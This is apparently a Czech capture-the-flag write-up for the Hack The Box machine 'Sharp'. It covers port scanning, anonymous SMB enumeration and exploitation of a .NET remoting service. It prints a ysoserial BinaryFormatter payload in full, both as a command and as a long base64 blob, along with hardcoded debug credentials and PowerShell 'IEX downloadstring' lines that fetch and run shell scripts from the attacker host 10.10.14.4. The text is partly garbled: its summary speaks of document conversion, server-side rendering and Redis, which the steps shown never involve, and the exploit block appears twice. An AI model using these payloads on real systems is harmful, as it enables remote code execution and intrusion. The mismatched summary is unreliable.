Sharp
Úvod a kontext
Sharp stojí na řetězení několika konkrétních slabin a artefaktů: převod dokumentů a server-side render a Redis.
Důležitější než samotný exploit je tady interpretace mezikroků, protože právě z těchto indicií vzniká přístup přes SMB sdílení a teprve na něj navazuje lokální enumeraci po získání shellu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
Vyhledání otevřených portů (2)
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open storagecraft-image StorageCraft Image Manager
8889/tcp open mc-nmf .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -6m52s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-03-24T18:20:00
|_ start_date: N/A
Enumerace SMB
U SMB sdílení ověřuji, jaká data jsou dostupná bez dalších oprávnění a zda z nich lze získat účty, dokumenty nebo konfigurační tajemství.
smbclient -L $IP -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
dev Disk
IPC$ IPC Remote IPC
kanban Disk
SMB1 disabled -- no workgroup available
Enumerace SMB (2)
U SMB sdílení ověřuji, jaká data jsou dostupná bez dalších oprávnění a zda z nich lze získat účty, dokumenty nebo konfigurační tajemství.
smbmap -H $IP -R --depth 10
[+] IP: 10.10.10.219:445 Name: 10.10.10.219
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
dev NO ACCESS
IPC$ NO ACCESS Remote IPC
kanban READ ONLY
.\kanban\*
dr--r--r-- 0 Sat Nov 14 19:57:04 2020 .
dr--r--r-- 0 Sat Nov 14 19:57:04 2020 ..
fr--r--r-- 58368 Sat Nov 14 19:57:04 2020 CommandLine.dll
fr--r--r-- 141312 Sat Nov 14 19:57:04 2020 CsvHelper.dll
fr--r--r-- 456704 Sat Nov 14 19:57:04 2020 DotNetZip.dll
dr--r--r-- 0 Sat Nov 14 19:57:59 2020 Files
fr--r--r-- 23040 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Converter.Html.dll
fr--r--r-- 75776 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Interpreter.dll
fr--r--r-- 32768 Sat Nov 14 19:57:04 2020 Itenso.Rtf.Parser.dll
fr--r--r-- 19968 Sat Nov 14 19:57:04 2020 Itenso.Sys.dll
fr--r--r-- 376832 Sat Nov 14 19:57:04 2020 MsgReader.dll
fr--r--r-- 133296 Sat Nov 14 19:57:04 2020 Ookii.Dialogs.dll
fr--r--r-- 2558011 Sat Nov 14 19:57:04 2020 pkb.zip
dr--r--r-- 0 Sat Nov 14 19:57:04 2020 Plugins
fr--r--r-- 5819 Sat Nov 14 19:57:04 2020 PortableKanban.cfg
fr--r--r-- 118184 Sat Nov 14 19:57:04 2020 PortableKanban.Data.dll
fr--r--r-- 1878440 Sat Nov 14 19:57:04 2020 PortableKanban.exe
fr--r--r-- 31144 Sat Nov 14 19:57:04 2020 PortableKanban.Extensions.dll
fr--r--r-- 2080 Sat Nov 14 19:57:04 2020 PortableKanban.pk3
fr--r--r-- 2080 Sat Nov 14 19:57:04 2020 PortableKanban.pk3.bak
fr--r--r-- 34 Sat Nov 14 19:57:04 2020 PortableKanban.pk3.md5
fr--r--r-- 413184 Sat Nov 14 19:57:04 2020 ServiceStack.Common.dll
fr--r--r-- 137216 Sat Nov 14 19:57:04 2020 ServiceStack.Interfaces.dll
fr--r--r-- 292352 Sat Nov 14 19:57:04 2020 ServiceStack.Redis.dll
fr--r--r-- 411648 Sat Nov 14 19:57:04 2020 ServiceStack.Text.dll
fr--r--r-- 1050092 Sat Nov 14 19:57:04 2020 User Guide.pdf
.\kanban\Plugins\*
dr--r--r-- 0 Sat Nov 14 19:57:04 2020 .
dr--r--r-- 0 Sat Nov 14 19:57:04 2020 ..
fr--r--r-- 64424 Sat Nov 14 19:57:04 2020 PluginsLibrary.dll
Analýza zjištění
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit PortableKanban
Identifikace a hledání exploitu (2)
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit remoting
git clone https://github.com/tyranid/ExploitRemotingService
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Exploit na Windows
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell.ps1')"
ExploitRemotingService.exe -s --ver=4 --user="debug" --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw __CENSORED__
gc user.txt
__CENSORED__
copy-item -path . -destination c:\dev\ -recurse
Console.WriteLine(client.InvokePowerShell("IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell2.ps1')"));
gc root.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.
Exploit na Windows
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell.ps1')"
ExploitRemotingService.exe -s --ver=4 --user="debug" --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAGUvYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuNDo4MDAwL3BzMS9zaGVsbC5wczEnKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
gc user.txt
1629f8776d8db78c8a844609cadf8412
copy-item -path . -destination c:\dev\ -recurse
Console.WriteLine(client.InvokePowerShell("IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell2.ps1')"));
gc root.txt
72eaf082fcf0cf1e6d65f33339d40c20
Shrnutí klíčových poznatků
- První skutečně užitečný závěr plynul z toho, jak do sebe zapadly převod dokumentů a server-side render a Redis.
- User fáze se opírala o přístup přes SMB sdílení, takže přístup byl reprodukovatelný a ne jen jednorázový.
- Finální kontrolu nad systémem otevřela až mechanika typu lokální enumerace po získání shellu.
Co si odnést do praxe
- Pokud se zanedbá oblast převod dokumentů a server-side render a Redis, vznikne stejný typ vstupu jako tady. Převod dokumentů a server-side render je potřeba sandboxovat a oddělit od citlivého filesystemu; parser nebo převodník nesmí mít přístup k tajemstvím hostu.
- Jakmile útočník ověří přístup přes SMB sdílení, je potřeba počítat s dlouhodobým přístupem. Share s dokumenty a exporty je potřeba posuzovat jako zdroj identit a tajemství; obsah sdílení bývá pro další pivot důležitější než samotná síťová služba.
- Stejně důležitá je i obrana proti mechanice lokální enumerace po získání shellu. Po získání shellu je rozhodující systematická lokální enumerace; i bez další CVE často rozhodne kombinace špatných oprávnění, reuse tajemství a pomocných skriptů.